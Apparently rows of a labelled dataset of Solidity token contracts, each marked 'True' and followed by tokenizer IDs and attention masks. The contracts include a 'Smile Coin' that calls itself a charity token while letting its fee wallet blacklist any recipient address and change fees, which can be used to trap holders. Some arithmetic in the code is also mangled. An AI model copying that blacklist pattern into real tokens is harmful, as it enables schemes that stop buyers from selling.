contracts/utils/GeneratorCopyright.sol pragma solidity ^0.8.0; /* * @title GeneratorCopyright * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the GeneratorCopyright / contract GeneratorCopyright { string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator"; string private _version; constructor (string memory version_) { _version = version_; } /* * @dev Returns the token generator tool. / function generator() public pure returns (string memory) { return _GENERATOR; } /* * @dev Returns the token generator version. / function version() public view returns (string memory) { return _version; } } // File: contracts/token/ERC20/SimpleERC20.sol pragma solidity ^0.8.0; /* * @title SimpleERC20 * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the SimpleERC20 */ contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") { constructor ( string memory name_, string memory symbol_, uint256 initialBalance_, address payable feeReceiver_ ) ERC20(name_, symbol_) ServicePayer(feeReceiver_, "SimpleERC20") payable { require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero"); _mint(_msgSender(), initialBalance_); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5709, 1011, 2459, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1008, 1008, 19204, 2038, 2042, 7013, 2005, 2489, 2478, 16770, 1024, 1013, 1013, 6819, 9284, 22311, 27108, 2072, 1012, 21025, 2705, 12083, 1012, 22834, 1013, 9413, 2278, 11387, 1011, 13103, 1013, 1008, 1008, 3602, 1024, 1000, 3206, 3120, 3642, 20119, 1006, 2714, 2674, 1007, 1000, 2965, 2008, 2023, 19204, 2003, 2714, 2000, 2060, 19204, 2015, 7333, 1008, 2478, 1996, 2168, 13103, 1012, 2009, 2003, 2025, 2019, 3277, 1012, 2009, 2965, 2008, 2017, 2180, 1005, 1056, 2342, 2000, 20410, 2115, 3120, 3642, 2138, 1997, 1008, 2009, 2003, 2525, 20119, 1012, 1008, 1008, 5860, 19771, 5017, 1024, 13103, 1005, 1055, 3166, 2003, 2489, 1997, 2151, 14000, 4953, 1996, 19204, 1998, 1996, 2224, 2008, 2003, 2081, 1997, 2009, 1012, 1008, 1996, 2206, 3642, 2003, 3024, 2104, 10210, 6105, 1012, 3087, 2064, 2224, 2009, 2004, 2566, 2037, 3791, 1012, 1008, 1996, 13103, 1005, 1055, 3800, 2003, 2000, 2191, 2111, 2583, 2000, 19204, 4697, 2037, 4784, 2302, 16861, 2030, 7079, 2005, 2009, 1012, 1008, 3120, 3642, 2003, 2092, 7718, 1998, 10843, 7172, 2000, 5547, 3891, 1997, 12883, 1998, 2000, 8970, 2653, 20600, 2015, 1012, 1008, 4312, 1996, 5309, 1997, 19204, 2015, 7336, 1037, 2152, 3014, 1997, 3891, 1012, 2077, 13868, 19204, 2015, 1010, 2009, 2003, 6749, 2000, 1008, 5362, 21094, 2035, 1996, 2592, 1998, 10831, 6851, 1999, 19204, 3954, 1005, 1055, 3785, 1012, 1008, 1013, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 3079, 2011, 1036, 4070, 1036, 1012, 1008, 1013, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5829, 1036, 3815, 1036, 19204, 2015, 2013, 1996, 20587, 1005, 1055, 4070, 2000, 1036, 7799, 1036, 1012, 1008, 1008, 5651, 1037, 22017, 20898, 3643, 8131, 3251, 1996, 3169, 4594, 1012, 1008, 1008, 12495, 3215, 1037, 1063, 4651, 1065, 2724, 1012, 1008, 1013, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3588, 2193, 1997, 19204, 2015, 2008, 1036, 5247, 2121, 1036, 2097, 2022, 1008, 3039, 2000, 5247, 2006, 6852, 1997, 1036, 3954, 1036, 2083, 1063, 4651, 19699, 5358, 1065, 1012, 2023, 2003, 1008, 5717, 2011, 12398, 1012, 1008, 1008, 2023, 3643, 3431, 2043, 1063, 14300, 1065, 2030, 1063, 4651, 19699, 5358, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
pragma solidity ^0.4.18; contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract ROHH is Ownable { string public name; string public symbol; uint8 public decimals = 17; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function ROHH( uint256 initialSupply, string tokenName, string tokenSymbol) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; Burn(_from, _value); return true; } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 3206, 2219, 3085, 1063, 4769, 2270, 3954, 1025, 2724, 6095, 6494, 3619, 7512, 5596, 1006, 4769, 25331, 3025, 12384, 2121, 1010, 4769, 25331, 2047, 12384, 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/** Submitted for verification at Etherscan.io on 2020-09-24 / pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract xbtcdefi is IERC20 { string public constant name = "xBTC"; string public constant symbol = "XBTC"; uint8 public constant decimals = 18; event Approval(address indexed tokenOwner, address indexed spender, uint tokens); event Transfer(address indexed from, address indexed to, uint tokens); mapping(address => uint256) balances; mapping(address => mapping (address => uint256)) allowed; uint256 totalSupply_; using SafeMath for uint256; constructor(uint256 total) public { total = 4000000000000000000000000; totalSupply_ = total; balances[msg.sender] = totalSupply_; } function totalSupply() public override view returns (uint256) { return totalSupply_; } function balanceOf(address tokenOwner) public override view returns (uint256) { return balances[tokenOwner]; } function transfer(address receiver, uint256 numTokens) public override returns (bool) { require(numTokens <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(numTokens); balances[receiver] = balances[receiver].add(numTokens); emit Transfer(msg.sender, receiver, numTokens); return true; } function approve(address delegate, uint256 numTokens) public override returns (bool) { allowed[msg.sender][delegate] = numTokens; emit Approval(msg.sender, delegate, numTokens); return true; } function allowance(address owner, address delegate) public override view returns (uint) { return allowed[owner][delegate]; } function transferFrom(address owner, address buyer, uint256 numTokens) public override returns (bool) { require(numTokens <= balances[owner]); require(numTokens <= allowed[owner][msg.sender]); balances[owner] = balances[owner].sub(numTokens); allowed[owner][msg.sender] = allowed[owner][msg.sender].sub(numTokens); balances[buyer] = balances[buyer].add(numTokens); emit Transfer(owner, buyer, numTokens); return true; } } library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 12609, 1011, 5641, 1011, 2484, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 2260, 1025, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 14300, 1006, 4769, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 4651, 19699, 5358, 1006, 4769, 4604, 2121, 1010, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 2724, 4651, 1006, 4769, 25331, 2013, 1010, 4769, 25331, 2000, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 2724, 6226, 1006, 4769, 25331, 3954, 1010, 4769, 25331, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 1065, 3206, 1060, 19279, 19797, 12879, 2072, 2003, 29464, 11890, 11387, 1063, 5164, 2270, 5377, 2171, 1027, 1000, 1060, 19279, 2278, 1000, 1025, 5164, 2270, 5377, 6454, 1027, 1000, 1060, 19279, 2278, 1000, 1025, 21318, 3372, 2620, 2270, 5377, 26066, 2015, 1027, 2324, 1025, 2724, 6226, 1006, 4769, 25331, 19204, 12384, 2121, 1010, 4769, 25331, 5247, 2121, 1010, 21318, 3372, 19204, 2015, 1007, 1025, 2724, 4651, 1006, 4769, 25331, 2013, 1010, 4769, 25331, 2000, 1010, 21318, 3372, 19204, 2015, 1007, 1025, 12375, 1006, 4769, 1027, 1028, 21318, 3372, 17788, 2575, 1007, 5703, 2015, 1025, 12375, 1006, 4769, 1027, 1028, 12375, 1006, 4769, 1027, 1028, 21318, 3372, 17788, 2575, 1007, 1007, 3039, 1025, 21318, 3372, 17788, 2575, 21948, 6279, 22086, 1035, 1025, 2478, 3647, 18900, 2232, 2005, 21318, 3372, 17788, 2575, 1025, 9570, 2953, 1006, 21318, 3372, 17788, 2575, 2561, 1007, 2270, 1063, 2561, 1027, 20143, 8889, 8889, 8889, 8889, 8889, 8889, 8889, 8889, 8889, 8889, 2692, 1025, 21948, 6279, 22086, 1035, 1027, 2561, 1025, 5703, 2015, 1031, 5796, 2290, 1012, 4604, 2121, 1033, 1027, 21948, 6279, 22086, 1035, 1025, 1065, 3853, 21948, 6279, 22086, 1006, 1007, 2270, 2058, 15637, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2709, 21948, 6279, 22086, 1035, 1025, 1065, 3853, 5703, 11253, 1006, 4769, 19204, 12384, 2121, 1007, 2270, 2058, 15637, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2709, 5703, 2015, 1031, 19204, 12384, 2121, 1033, 1025, 1065, 3853, 4651, 1006, 4769, 8393, 1010, 21318, 3372, 17788, 2575, 16371, 20492, 11045, 3619, 1007, 2270, 2058, 15637, 5651, 1006, 22017, 2140, 1007, 1063, 5478, 1006, 16371, 20492, 11045, 3619, 1026, 1027, 5703, 2015, 1031, 5796, 2290, 1012, 4604, 2121, 1033, 1007, 1025, 5703, 2015, 1031, 5796, 2290, 1012, 4604, 2121, 1033, 1027, 5703, 2015, 1031, 5796, 2290, 1012, 4604, 2121, 1033, 1012, 4942, 1006, 16371, 20492, 11045, 3619, 1007, 1025, 5703, 2015, 1031, 8393, 1033, 1027, 5703, 2015, 1031, 8393, 1033, 1012, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2022-04-30 / / 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 https://t.me/SmileCoinETH https://TheSmileToken.com A charity-oriented token that is helping to fight mental illness across the world. Meet smilecoin. ************* ** ** * * * * * *** *** * *** *** *** *** * * ** * * ** * * * * ** ** * *********** * ** ** ** *************** Tokenomics : 30% Token Burn 9% Buy / Sell Tax 1% Max Buy - First 2 minutes 2% Max Wallet - First 2 minutes Renounced & Locked / pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract TheSmileCoin is Context, IERC20, Ownable { //// mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isDefaulter; uint private constant _totalSupply = 1e15 10*9; string public constant name = unicode"The Smile Coin"; //// string public constant symbol = unicode"SMILE"; //// uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable public _FeeWallet1; address payable public _CharityWallet; address public uniswapV2Pair; uint public _buyFee = 9; uint public _sellFee = 9; uint public _feeRate = 9; uint public _maxTradeAmount; uint public _maxWalletHoldings; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap; bool public _useImpactFeeSetter = true; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event FeeAddress1Updated(address _feewallet1); event FeeAddress2Updated(address _feewallet2); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable FeeAddress1, address payable FeeAddress2) { _FeeWallet1 = FeeAddress1; _CharityWallet = FeeAddress2; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress1] = true; _isExcludedFromFee[FeeAddress2] = true; emit Transfer(address(0), owner(), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){ require (recipient == tx.origin, "pls no bot"); } _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isDefaulter[to], "Transfer failed, Defaulter wallet."); bool isBuy = false; if(from != owner() && to != owner()) { // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); require(block.timestamp != _launchedAt, "pls no snip"); if((_launchedAt + (120 seconds)) > block.timestamp) { require((amount + balanceOf(address(to))) <= _maxWalletHoldings, "ERR : MaxWalletHolding Rule Violated ."); } if((_launchedAt + (120 seconds)) > block.timestamp) { require(amount <= _maxTradeAmount, "Exceeds maximum buy amount."); } isBuy = true; } // sell if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] \|\| _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _FeeWallet1.transfer(amount / 2); _CharityWallet.transfer(amount / 2); } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} // external functions function addLiquidity() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _tradingOpen = true; _launchedAt = block.timestamp; _maxTradeAmount = 10000000000000 * 10*9; _maxWalletHoldings = 20000000000000 10**9; } function manualswap() external { require(_msgSender() == _FeeWallet1); uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeWallet1); uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBuyFees(uint buy) external { require(_msgSender() == _FeeWallet1); require(buy <= 10); _buyFee = buy; emit FeesUpdated(_buyFee, _sellFee); } function setSellFees(uint sell) external { require(_msgSender() == _FeeWallet1); require(sell <= 10); _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function setFeeRate(uint rate) external { require(_msgSender() == _FeeWallet1); require(rate > 0, "Rate can't be zero"); // 100% is the common fee rate _feeRate = rate; emit FeeRateUpdated(_feeRate); } function isDefaulter(address ad) public view returns (bool) { return _isDefaulter[ad]; } function updateFeeAddress1(address newAddress) external { require(_msgSender() == _FeeWallet1); _FeeWallet1 = payable(newAddress); emit FeeAddress1Updated(_FeeWallet1); } function setDefaulter(address defaulter) external { require(_msgSender() == _FeeWallet1); _isDefaulter[defaulter] = true; } function delDefaulter(address defaulter) external { require(_msgSender() == _FeeWallet1); _isDefaulter[defaulter] = false; } function updateFeeAddress2(address newAddress) external { require(_msgSender() == _CharityWallet); _CharityWallet = payable(newAddress); emit FeeAddress2Updated(_CharityWallet); } // view functions function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 16798, 2475, 1011, 5840, 1011, 2382, 1008, 1013, 1013, 1008, 1008, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 2868, 3597, 3170, 2705, 16770, 1024, 1013, 1013, 1996, 6491, 9463, 18715, 2368, 1012, 4012, 1037, 5952, 1011, 8048, 19204, 2008, 2003, 5094, 2000, 2954, 5177, 7355, 2408, 1996, 2088, 1012, 3113, 2868, 3597, 2378, 1012, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 